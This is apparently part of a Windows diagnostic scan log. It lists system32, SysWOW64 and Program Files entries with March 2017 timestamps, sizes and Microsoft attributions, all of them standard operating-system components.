2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\MsDtc
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\MailContactsCalendarSync
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\Macromed
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\Ipmi
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\InputMethod
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\inetsrv
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\IME
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\icsxml
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\ias
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\GroupPolicyUsers
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\DDFs
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\config\Journal
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\Bthprops
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\AppLocker
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\System
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\security
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\schemas
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SchCache
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Resources
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Registration
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\PLA
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Performance
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\ModemLogs
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\L2Schemas
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\InputMethod
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\InfusedApps
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Globalization
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\GameBarPresenceWriter
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Cursors
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Branding
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\bcastdvr
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\windows\addins
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Security
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Portable Devices
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Multimedia Platform
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\Services
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Portable Devices
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows NT
2017-03-18 23:03 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Multimedia Platform
2017-03-18 23:03 - 2017-03-18 23:01 - 00230400 _____ (Microsoft Corporation) C:\windows\system32\msclmd.dll
2017-03-18 23:03 - 2017-03-18 23:01 - 00215943 _____ C:\windows\SysWOW64\dssec.dat
2017-03-18 23:03 - 2017-03-18 23:01 - 00215943 _____ C:\windows\system32\dssec.dat
2017-03-18 23:03 - 2017-03-18 23:01 - 00207872 _____ (Microsoft Corporation) C:\windows\SysWOW64\msclmd.dll
2017-03-18 23:03 - 2017-03-18 23:01 - 00017635 _____ C:\windows\system32\Drivers\etc\services
2017-03-18 23:03 - 2017-03-18 23:01 - 00015940 _____ C:\windows\system32\OEMDefaultAssociations.xml
2017-03-18 23:03 - 2017-03-18 23:01 - 00004096 _____ C:\windows\system32\config\VSMIDK
2017-03-18 23:03 - 2017-03-18 23:01 - 00003683 _____ C:\windows\system32\Drivers\etc\lmhosts.sam
2017-03-18 23:03 - 2017-03-18 23:01 - 00001358 _____ C:\windows\system32\Drivers\etc\protocol
2017-03-18 23:03 - 2017-03-18 23:01 - 00000858 _____ C:\windows\system32\DefaultQuestions.json
2017-03-18 23:03 - 2017-03-18 23:01 - 00000741 _____ C:\windows\SysWOW64\NOISE.DAT
2017-03-18 23:03 - 2017-03-18 23:01 - 00000741 _____ C:\windows\system32\NOISE.DAT
2017-03-18 23:03 - 2017-03-18 23:01 - 00000407 _____ C:\windows\system32\Drivers\etc\networks
2017-03-18 23:03 - 2017-03-18 23:01 - 00000219 _____ C:\windows\system.ini
2017-03-18 23:01 - 2017-06-01 22:06 - 00000000 ____D C:\windows\INF
2017-03-18 23:00 - 2017-03-18 23:00 - 31652264 _____ (Microsoft Corporation) C:\windows\SysWOW64\WindowsCodecsRaw.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 01884160 _____ (Microsoft Corporation) C:\windows\SysWOW64\wpdshext.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 01528832 _____ (Microsoft Corporation) C:\windows\system32\wbengine.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00987840 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcr120_clr0400.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00925696 _____ (Microsoft Corporation) C:\windows\SysWOW64\FXSRESM.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00925696 _____ (Microsoft Corporation) C:\windows\system32\FXSRESM.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00857088 _____ (Microsoft Corporation) C:\windows\system32\FXSST.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00646144 _____ (Microsoft Corporation) C:\windows\system32\FXSCOMEX.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00637440 _____ (Microsoft Corporation) C:\windows\system32\FXSSVC.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00519680 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceApi.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00516608 _____ (Microsoft Corporation) C:\windows\SysWOW64\FXSCOMEX.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00508416 _____ (Microsoft Corporation) C:\windows\SysWOW64\PhotoScreensaver.scr
2017-03-18 23:00 - 2017-03-18 23:00 - 00485576 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcp120_clr0400.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00429568 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceStatus.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00411648 _____ (Microsoft Corporation) C:\windows\system32\FXSTIFF.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00352768 _____ (Microsoft Corporation) C:\windows\SysWOW64\mswmdm.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00330240 _____ (Microsoft Corporation) C:\windows\SysWOW64\WPDSp.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00285184 _____ (Microsoft Corporation) C:\windows\SysWOW64\photowiz.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00282112 _____ (Microsoft Corporation) C:\windows\system32\wbadmin.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00281088 _____ (Microsoft Corporation) C:\windows\system32\FXSAPI.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00252928 _____ (Microsoft Corporation) C:\windows\system32\FXST30.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00246272 _____ (Microsoft Corporation) C:\windows\SysWOW64\audiodev.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00234496 _____ (Microsoft Corporation) C:\windows\SysWOW64\cewmdm.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00229888 _____ (Microsoft Corporation) C:\windows\SysWOW64\FXSAPI.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00218112 _____ (Microsoft Corporation) C:\windows\SysWOW64\spp.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00204800 _____ (Microsoft Corporation) C:\windows\SysWOW64\elshyph.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00152576 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceTypes.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00132608 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceWiaCompat.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00117248 _____ (Microsoft Corporation) C:\windows\SysWOW64\racpldlg.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00110080 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceClassExtension.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00108032 _____ (Microsoft Corporation) C:\windows\SysWOW64\raserver.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00104960 _____ (Microsoft Corporation) C:\windows\SysWOW64\FXSXP32.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00088064 _____ (Microsoft Corporation) C:\windows\system32\FXSCOM.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00077824 _____ (Microsoft Corporation) C:\windows\SysWOW64\FXSCOM.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\BlbEvents.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\FXSROUTE.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00076800 _____ (Microsoft Corporation) C:\windows\SysWOW64\msra.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\blb_ps.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\srclient.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceConnectApi.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\WPDShServiceObj.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\FXSMON.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00040960 _____ (Microsoft Corporation) C:\windows\SysWOW64\sdchange.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00037888 _____ (Microsoft Corporation) C:\windows\SysWOW64\FXSEXT32.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmdmps.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\sxproxy.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmdmlog.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00029376 _____ (Microsoft Corporation) C:\windows\SysWOW64\aspnet_counters.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\WinFax.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00026624 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinFax.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\WPDShextAutoplay.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\FXSUNATD.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00018600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcr100_clr0400.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\Microsoft.Management.Infrastructure.Native.Unmanaged.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\srdelayed.exe
2017-03-18 23:00 - 2017-03-18 23:00 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\Microsoft.Management.Infrastructure.Native.Unmanaged.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00008192 _____ (Microsoft Corporation) C:\windows\system32\FXSEVENT.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\MsraLegacy.tlb
2017-03-18 23:00 - 2017-03-18 23:00 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\rendezvousSession.tlb
2017-03-18 23:00 - 2017-03-18 23:00 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\blbres.dll
2017-03-18 23:00 - 2017-03-18 23:00 - 00001649 _____ C:\windows\SysWOW64\WindowsCodecsRaw.txt
2017-03-18 22:59 - 2017-03-20 06:36 - 20414976 _____ (Microsoft Corporation) C:\windows\system32\Hydrogen.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 17048064 _____ (Microsoft Corporation) C:\windows\system32\HologramCompositor.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 12039168 _____ (Microsoft Corporation) C:\windows\SysWOW64\NlsLexicons0007.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 12039168 _____ (Microsoft Corporation) C:\windows\system32\NlsLexicons0007.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 11602432 _____ (Microsoft Corporation) C:\windows\system32\prm0007.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 07138816 _____ (Microsoft Corporation) C:\windows\system32\Havok.Physics.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 03162112 _____ (Microsoft Corporation) C:\windows\system32\SnippingTool.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 02077184 _____ (Microsoft Corporation) C:\windows\system32\NlsData0007.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01993216 _____ (Microsoft Corporation) C:\windows\SysWOW64\NlsData0007.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01886208 _____ (Microsoft Corporation) C:\windows\system32\rdpcorets.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01311744 _____ (Microsoft Corporation) C:\windows\SysWOW64\SensorsCpl.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01311744 _____ (Microsoft Corporation) C:\windows\system32\SensorsCpl.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01161216 ____R (Microsoft Corporation) C:\windows\system32\Windows.Mirage.Internal.Capture.UX.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00960000 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.MixedRealityCapture.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00947712 _____ (Microsoft Corporation) C:\windows\system32\HoloSI.PCShell.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00867328 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Sensors.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00800256 _____ (Microsoft Corporation) C:\windows\system32\mblctr.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00648192 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Sensors.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00572928 _____ (Microsoft Corporation) C:\windows\system32\msTextPrediction.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00529920 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_HoloLens_Environment.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00528896 ____R (Microsoft Corporation) C:\windows\system32\MixedRealityCapture.Pipeline.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00416256 _____ (Microsoft Corporation) C:\windows\system32\HolographicExtensions.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00411648 _____ (Microsoft Corporation) C:\windows\system32\SensorsApi.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00391168 _____ (Microsoft Corporation) C:\windows\system32\rdpclip.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00329728 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Feedback.Analog.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00329216 _____ (Microsoft Corporation) C:\windows\SysWOW64\SensorsApi.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00299624 _____ (Microsoft Corporation) C:\windows\system32\rdpendp.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00281088 _____ (Microsoft Corporation) C:\windows\system32\HolographicRuntimes.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00274944 _____ (Microsoft Corporation) C:\windows\system32\umrdp.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00273408 _____ (Microsoft Corporation) C:\windows\system32\CoreShellAPI.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00269640 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdpendp.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00267264 _____ (Microsoft Corporation) C:\windows\system32\HoloShellRuntime.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00260096 _____ (Microsoft Corporation) C:\windows\system32\SpatialStore.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00248832 _____ (Microsoft Corporation) C:\windows\system32\svf.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00242688 _____ (Microsoft Corporation) C:\windows\system32\HoloSHExtensions.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00207360 _____ (Microsoft Corporation) C:\windows\SysWOW64\HoloShellRuntime.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00205824 _____ (Microsoft Corporation) C:\windows\system32\sensrsvc.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00201728 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreShellAPI.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00185344 _____ (Microsoft Corporation) C:\windows\system32\hwrreg.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00183296 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rdpdr.sys
2017-03-18 22:59 - 2017-03-20 06:36 - 00176128 _____ (Microsoft Corporation) C:\windows\system32\rdpinput.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00173568 _____ (Microsoft Corporation) C:\windows\system32\inetpp.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00137728 _____ (Microsoft Corporation) C:\windows\system32\Windows.Cortana.Analog.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00137112 _____ (Microsoft Corporation) C:\windows\system32\ClipRenew.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\SensorsClassExtension.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00128200 _____ (Microsoft Corporation) C:\windows\system32\Windows.Graphics.Display.BrightnessOverride.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00125015 ____R C:\windows\system32\CaptureCountdown.hcp
2017-03-18 22:59 - 2017-03-20 06:36 - 00124416 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_AnalogShell.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00121856 _____ (Microsoft Corporation) C:\windows\system32\DesktopView.Internal.Broker.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00119017 ____R C:\windows\system32\CaptureBrackets.hcp
2017-03-18 22:59 - 2017-03-20 06:36 - 00108032 ____R (Microsoft Corporation) C:\windows\system32\MixedRealityCapture.Broker.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00099784 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Graphics.Display.BrightnessOverride.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00094624 _____ (Microsoft Corporation) C:\windows\system32\rdpudd.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\datamarketsvc.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\ShellCompositor.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00052224 ____R (Microsoft Corporation) C:\windows\system32\Windows.Mirage.Internal.Capture.Pipeline.ProxyStub.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00051200 _____ (Microsoft Corporation) C:\windows\system32\DFDWiz.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\RotMgr.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00048128 _____ (Microsoft Corporation) C:\windows\system32\hwrcomp.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\dfdts.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00042496 _____ (Microsoft Corporation) C:\windows\system32\Windows.Cortana.Analog.ProxyStub.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00040352 _____ (Microsoft Corporation) C:\windows\system32\Drivers\SpatialGraphFilter.sys
2017-03-18 22:59 - 2017-03-20 06:36 - 00035840 ____R (Microsoft Corporation) C:\windows\system32\MixedRealityCapture.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\inetppui.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00030624 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rdpvideominiport.sys
2017-03-18 22:59 - 2017-03-20 06:36 - 00027648 _____ (Microsoft Corporation) C:\windows\system32\SensorPerformanceEvents.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Feedback.Analog.ProxyStub.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\wpnpinst.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\SensorCustomAdbAlgorithm.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\DesktopView.Internal.Broker.ProxyStub.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 00017806 ____R C:\windows\system32\CaptureToast.hcp
2017-03-18 22:59 - 2017-03-20 06:36 - 00014336 _____ C:\windows\system32\HolographicShareInterop.ProxyStub.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 32688336 _____ (Microsoft Corporation) C:\windows\system32\WindowsCodecsRaw.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 07758336 _____ (Microsoft Corporation) C:\windows\system32\cdp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 07335936 _____ (Microsoft Corporation) C:\windows\system32\Windows.Data.Pdf.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 05960704 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Data.Pdf.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 04843520 _____ (Microsoft Corporation) C:\windows\SysWOW64\cdp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 04506112 _____ (Microsoft Corporation) C:\windows\system32\xpsrchvw.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 04051600 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtmpltfm.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 03995136 _____ (Microsoft Corporation) C:\windows\system32\UIRibbon.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 03756032 _____ (Microsoft Corporation) C:\windows\system32\bootux.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 03464704 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIRibbon.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 03424256 _____ (Microsoft Corporation) C:\windows\SysWOW64\xpsrchvw.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 02755584 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtml.tlb
2017-03-18 22:59 - 2017-03-18 22:59 - 02727936 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.PicturePassword.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 02177632 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMVCORE.DLL
2017-03-18 22:59 - 2017-03-18 22:59 - 01937408 _____ (Microsoft Corporation) C:\windows\system32\wpdshext.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 01650688 _____ (Microsoft Corporation) C:\windows\system32\vssapi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 01436952 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d9.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 01208320 _____ (Microsoft Corporation) C:\windows\system32\sdclt.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 01180672 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMNetMgr.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 01179136 _____ (Microsoft Corporation) C:\windows\system32\sdengin2.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 01157632 _____ (Microsoft Corporation) C:\windows\SysWOW64\vssapi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00993632 _____ (Microsoft Corporation) C:\windows\system32\msvcr120_clr0400.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00935936 _____ (Microsoft Corporation) C:\windows\system32\WFS.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00930304 _____ (Microsoft Corporation) C:\windows\system32\XpsFilt.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00924672 _____ (Microsoft Corporation) C:\windows\system32\MsSpellCheckingFacility.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00921232 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtmpal.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00893440 _____ (Microsoft Corporation) C:\windows\system32\clusapi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00837264 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtmcodecs.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00832000 _____ (Microsoft Corporation) C:\windows\SysWOW64\WebcamUi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00804864 _____ (Microsoft Corporation) C:\windows\system32\fvewiz.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00749056 _____ (Microsoft Corporation) C:\windows\system32\sdcpl.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00720896 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d8.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00715168 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fvevol.sys
2017-03-18 22:59 - 2017-03-18 22:59 - 00705024 _____ (Microsoft Corporation) C:\windows\SysWOW64\MsSpellCheckingFacility.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00690008 _____ (Microsoft Corporation) C:\windows\system32\msvcp120_clr0400.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00681472 _____ (Microsoft Corporation) C:\windows\SysWOW64\clusapi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00669696 _____ (Microsoft Corporation) C:\windows\system32\WFSR.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00658432 _____ (Microsoft Corporation) C:\windows\SysWOW64\jscript.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00653456 _____ (Microsoft Corporation) C:\windows\SysWOW64\ortcengine.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00622592 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceApi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00603136 _____ (Microsoft Corporation) C:\windows\system32\resutils.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00591360 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsFilt.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00570880 _____ (Microsoft Corporation) C:\windows\system32\PhotoScreensaver.scr
2017-03-18 22:59 - 2017-03-18 22:59 - 00566784 _____ (Microsoft Corporation) C:\windows\system32\msra.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00552960 _____ (Microsoft Corporation) C:\windows\SysWOW64\jscript9diag.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00473088 _____ (Microsoft Corporation) C:\windows\SysWOW64\resutils.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00473088 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieui.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00471552 _____ (Microsoft Corporation) C:\windows\system32\srcore.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00439296 _____ (Microsoft Corporation) C:\windows\SysWOW64\NetworkCollectionAgent.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00438272 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceStatus.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00428032 _____ (Microsoft Corporation) C:\windows\system32\WalletService.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00410624 _____ (Microsoft Corporation) C:\windows\system32\FXSCOMPOSE.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00397824 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxtmsft.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00396288 _____ (Microsoft Corporation) C:\windows\SysWOW64\provsvc.dll
